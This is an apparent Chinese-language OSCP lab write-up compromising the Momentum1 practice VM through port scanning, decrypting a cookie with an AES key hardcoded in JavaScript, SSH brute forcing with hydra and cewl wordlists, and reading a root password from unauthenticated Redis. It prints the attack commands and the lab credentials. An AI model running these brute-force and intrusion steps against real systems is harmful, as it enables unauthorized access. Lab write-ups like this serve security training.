Momentum1
Momentum1 WriteUp | OSCP 本地靶场实战复盘1 环境说明靶机名称Momentum1靶机 IP192.168.217.174攻击机Kali Linux靶场类型OSCP 本地模拟靶场核心技能点AES 解密、Cookie 分析、SSH 爆破、Redis 未授权访问2 信息收集2.1 端口扫描首先对靶机进行端口扫描发现仅开放22SSH和80HTTP两个端口。# TCP 端口扫描 服务版本探测sudonmap -p22,80-sT-sC-sV192.168.217.174 --min-rate3000Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-24 22:29 0800 Nmap scan report for 192.168.217.174 Host is up (0.00078s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 5c:8e:2c:cc:c1:b0:3e:7c:0e:22:34:d8:60:31:4e:62 (RSA) | 256 81:fd:c6:4c:5a:50:0a:27:ea:83:38:64:b9:8b:bd:c1 (ECDSA) |_ 256 c1:8f:87:c1:52:09:27:60:5f:2e:2d:e0:08:03:72:c8 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Momentum | Index MAC Address: 00:0C:29:53:7C:BA (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel接着使用 Nmap 漏洞脚本做初步探测# 漏洞脚本扫描sudonmap -p22,80--scriptvuln192.168.217.174 --min-rate3000PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-dombased-xss: Couldnt find any DOM based XSS. |_http-stored-xss: Couldnt find any stored XSS vulnerabilities. |_http-csrf: Couldnt find any CSRF vulnerabilities. | http-enum: | /css/: Potentially interesting directory w/ listing on apache/2.4.38 (debian) | /img/: Potentially interesting directory w/ listing on apache/2.4.38 (debian) | /js/: Potentially interesting directory w/ listing on apache/2.4.38 (debian) |_ /manual/: Potentially interesting folder最后补充 UDP 端口扫描未发现额外开放端口# UDP 全端口扫描sudonmap-sU-p- --min-rate4000192.168.217.1742.2 目录扫描使用 Feroxbuster 进行目录爆破重点关注可读目录和静态资源路径# 多扩展名目录扫描feroxbuster-uhttp://192.168.217.174/\-w/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt\--limit-bars4--no-state --filter-status404\-xphp,html,txt,pdf,zip,enc,bak-r-d2--insecure扫描结果显示/js/、/css/、/img/三个静态目录均可直接列出其中/js/main.js引起了我的注意。2.3 JS 代码审计访问http://192.168.217.174/js/main.js发现代码中存在 AES 加解密逻辑和硬编码密钥——这是整条攻击链的突破口。踩坑记录一开始我并没有把 Cookie 中的值和 AES 解密关联起来花了大量时间在其他方向上摸索。后来才意识到 Cookie 本身就是 Base64 编码后的 AES 密文思路一转就豁然开朗了。访问首页时注意到浏览器 Cookie 中存储了一段 Base64 编码的字符串利用在线 AES 解密工具CryptoJS AES Encrypt/Decrypt结合main.js中提取的 AES 密钥成功解密 Cookie获得明文密码auxerre-alienum##。2.4 生成密码字典拿到关键密码后使用cewl从靶机网站爬取词频再结合已知密码手工制作一份高质量密码字典# 爬取网站关键词生成密码字典cewl http://192.168.217.174/-d10-v将cewl的输出与已知密码auxerre-alienum##合并并补充大小写变体最终password.txt内容如下# 手工整理的密码字典 auxerre-alienum## auxerre alienum Auxerre Alienum lightbox container hidden Momentum Index Castles fall from inside# 用户名字典以 cewl 关键词 常见组合生成catuser.txt┌──(cat7㉿kali-cat7)-[~/Desktop/Oscp/Momentum]└─$catuser.txt lightbox container hidden with CSS prev next Momentum Index Castles fall from inside auxerre-alienum##auxerre alienum Auxerre Alienum3 漏洞探测与利用3.1 SSH 暴力破解利用上一阶段生成的user.txt和password.txt使用hydra对 SSH 服务进行爆破# SSH 字典爆破hydra-Luser.txt-Ppassword.txt192.168.217.174ssh-vv成功命中凭据auxerre:auxerre-alienum##获得靶机初始立足点。4 权限提升4.1 内部服务发现SSH 登录后首先查看本地监听端口auxerreMomentum:~$ ss-tulnpNetid State Recv-Q Send-Q Local Address:Port Peer Address:Port udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:* tcp LISTEN 0 128 127.0.0.1:6379 0.0.0.0:* tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* tcp LISTEN 0 128 [::1]:6379 [::]:* tcp LISTEN 0 128 *:80 *:* tcp LISTEN 0 128 [::]:22 [::]:*发现127.0.0.1:6379上有 Redis 服务运行仅监听本地回环地址。4.2 Redis 未授权访问尝试直接连接 Redis发现无需密码认证即可登录auxerreMomentum:~$ redis-cli127.0.0.1:6379keys *1)rootpass127.0.0.1:6379GET rootpassm0mentum-al1enum##127.0.0.1:6379exitRedis 中仅有一个键rootpass值为m0mentum-al1enum##——这极有可能是root账户的密码。4.3 提权至 Root切换到root用户auxerreMomentum:~$suroot Password: m0mentum-al1enum##rootMomentum:/home/auxerre# cd /rootrootMomentum:~# lsroot.txt rootMomentum:~# cat root.txt[Momentum - Rooted]--------------------------------------- Flag:658ff660fdac0b079ea78238e5996e40 --------------------------------------- by alienum with ♥ rootMomentum:~#成功拿到 root flag完成提权。5 总结这次打靶的核心突破口在前端 JS 硬编码 AES 密钥Cookie 中的 Base64 字符串本质上就是用该密钥加密的密文。一开始我在这条线索上绕了很久没把 Cookie 和 AES 关联起来直到回头认真审查main.js的代码逻辑才豁然开朗。整个链条非常清晰/js/目录泄露 → 前端源码暴露 AES 密钥 → Cookie 解密拿到密码 → SSH 爆破获得初始立足点 → Redis 未授权读取root密码 → 提权完成。

相关新闻

2026好用命理软件怎么选?八字排盘App要看场景路径和功能组合

2026好用命理软件怎么选?八字排盘App要看场景路径和功能组合

2026好用命理软件怎么选?八字排盘App要看场景路径和功能组合 摘要:2026年判断好用的命理软件,不建议只看功能清单是否长,而要把自己的使用场景拆成入门问答、术语学习、案例复盘、合盘择日、AI追问和隐私边界。八字排盘App只有把场…

2026/6/26 1:17:24阅读更多 →
Windows资源管理器3D模型预览终极指南:Space Thumbnails让你的文件管理可视化

Windows资源管理器3D模型预览终极指南:Space Thumbnails让你的文件管理可视化

Windows资源管理器3D模型预览终极指南:Space Thumbnails让你的文件管理可视化 【免费下载链接】space-thumbnails Generates preview thumbnails for 3D model files. Provide a Windows Explorer extensions that adds preview thumbnails for 3D model files. 项…

2026/6/26 1:17:24阅读更多 →
2026深度实测|两大主流AI编程工具vibe coding迭代能力全方位对比

2026深度实测|两大主流AI编程工具vibe coding迭代能力全方位对比

花了两个周末,我把主流的几款 AI 编程工具挨个装了一遍,同一个项目用不同的工具写,记录下了各自的真实表现。作为刚毕业入职大厂的萌新开发,我日常高频需求就是用Python-Flask快速编写、迭代REST API接口,适配业务功能…

2026/6/26 1:17:24阅读更多 →
终极免费网盘下载加速解决方案:告别限速,9大平台全兼容的完整指南

终极免费网盘下载加速解决方案:告别限速,9大平台全兼容的完整指南

终极免费网盘下载加速解决方案:告别限速,9大平台全兼容的完整指南 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 ,支持 百度网盘 / 阿里云盘…

2026/6/26 2:27:31阅读更多 →
区块链交易ID唯一性的一种司法应用

区块链交易ID唯一性的一种司法应用

222万现金交了出去,区块链交易ID全是同一个。▎案情 2024年12月,陆先生被微信"同小区邻居"诱导开通境外网店,对方以"外汇管制不便"为由让他线下取现换U。陆先生取了222万现金与"取手"陈某交接,收到…

2026/6/26 2:27:31阅读更多 →
你在简历中写到“熟悉MySQL索引优化、慢SQL处理”,请举例说明你在项目中遇到过的一个慢查询,以及你是如何定位和解决的。

你在简历中写到“熟悉MySQL索引优化、慢SQL处理”,请举例说明你在项目中遇到过的一个慢查询,以及你是如何定位和解决的。

在xxxxx项目中,有一个查询“用户近7天积分变动明细”的接口响应超过3秒。定位:开启MySQL慢查询日志,发现一条SELECT * FROM points_log WHERE user_id ? AND create_time BETWEEN ? AND ?。分析:使用EXPLAIN发现typeALL&#…

2026/6/26 2:27:31阅读更多 →
RAG答案溯源:让回答能查到出处

RAG答案溯源:让回答能查到出处

先把结论摆这儿:想让 RAG 的每句回答都能查到引用出处,核心就一件事——在切片入库时给每个 chunk 打上来源元数据(文件名、段落号、原文),检索回来后让模型在答案里带上编号,最后把编号映射回原文。听起来绕,实际改动不大,我用一个下午折腾通了,下面是完整步骤。 背景交代一下…

2026/6/26 2:27:31阅读更多 →
下载 | Win11 官方精简版,系统占用空间极少!(6月更新、Win11 IoT物联网 LTSC版、适合老电脑安装使用)

下载 | Win11 官方精简版,系统占用空间极少!(6月更新、Win11 IoT物联网 LTSC版、适合老电脑安装使用)

⏩ 【资源A023】Win11 LTSC 2024 ISO系统映像 🔶Win11 物联网IoT LTSC版,默认无TPM等硬件限制,更方便老电脑安装使用。LTSC是长期服务渠道版本,网友俗称“老坛酸菜版”,相当于微软官方的精简版Win11,精简了…

2026/6/26 2:27:31阅读更多 →
Suricata深度流量分析:解密HTTPS与高级威胁狩猎实战指南

Suricata深度流量分析:解密HTTPS与高级威胁狩猎实战指南

1. 项目概述:从“看热闹”到“看门道”的流量分析进阶在网络安全这个行当里干了十几年,我见过太多同行把流量分析工具当“黑盒子”用。抓个包,导进Suricata或者Wireshark,看着花花绿绿的告警弹窗,要么一头雾水&#xf…

2026/6/26 2:22:31阅读更多 →
【人工智能】一文搞定到底什么是智能体

【人工智能】一文搞定到底什么是智能体

【人工智能】一文搞定到底什么是智能体 一文搞定到底什么是智能体【人工智能】一文搞定到底什么是智能体一. LM,WorkFlow,Agent分别有什么么不同二. Agent的思考过程是怎样的三. Agent的五个核心部分1)LLM2)Prompt3)Me…

2026/6/25 9:39:54阅读更多 →
嵌入式GUI控件实战:ROTARY、SCROLLBAR、SLIDER原理与应用

嵌入式GUI控件实战:ROTARY、SCROLLBAR、SLIDER原理与应用

1. 嵌入式GUI控件:从原理到实战的深度解析在嵌入式系统开发中,图形用户界面(GUI)的设计与实现往往是项目从“能用”到“好用”的关键一跃。不同于资源充沛的PC或移动平台,嵌入式设备的GUI需要在有限的CPU性能、内存空间…

2026/6/25 2:52:24阅读更多 →
Google AI Studio 300美元额度的真相与实战指南

Google AI Studio 300美元额度的真相与实战指南

1. 这300美金不是“送钱”,而是Google埋下的第一道技术门槛 你看到标题里那个醒目的“$300美金”时,第一反应可能是:又一个免费额度?领完就完事?我亲手试过——这300美金根本不是红包,而是一张入场券&…

2026/6/25 9:01:34阅读更多 →
HPE (慧与) 服务器专用 ESXi 9 全套官方定制资源详解 + 完整部署升级教程

HPE (慧与) 服务器专用 ESXi 9 全套官方定制资源详解 + 完整部署升级教程

一、前言:企业运维痛点与资源价值自博通收购 VMware 之后,原 VMware 公开免费下载渠道全面关闭,企业运维人员想要获取适配 HPE 慧与服务器的 ESXi 9 原厂镜像,必须注册博通账号、绑定有效授权才能下载,无授权账号无法获…

2026/6/26 0:02:15阅读更多 →
Kotlin的@JvmStatic与@JvmField:与Java互操作的注解

Kotlin的@JvmStatic与@JvmField:与Java互操作的注解

Kotlin作为一门现代编程语言,与Java的互操作性一直是其核心优势之一。为了让Kotlin代码能够无缝对接Java,Kotlin提供了多种注解来优化互操作体验,其中JvmStatic和JvmField是两个关键注解。它们分别用于解决静态成员和字段在Java中的访问问题&…

2026/6/26 0:02:15阅读更多 →
深入解析musl libc中的mmap实现源码

深入解析musl libc中的mmap实现源码

最近在阅读musl libc源码时,发现其mmap的实现非常精妙,特分享给大家。 一、代码整体结构 这段代码实现了__mmap函数,并通过weak_alias导出为mmap。这是典型的musl libc风格——提供弱符号以便用户可以重写。 weak_alias(__mmap, mmap); 二…

2026/6/26 0:02:15阅读更多 →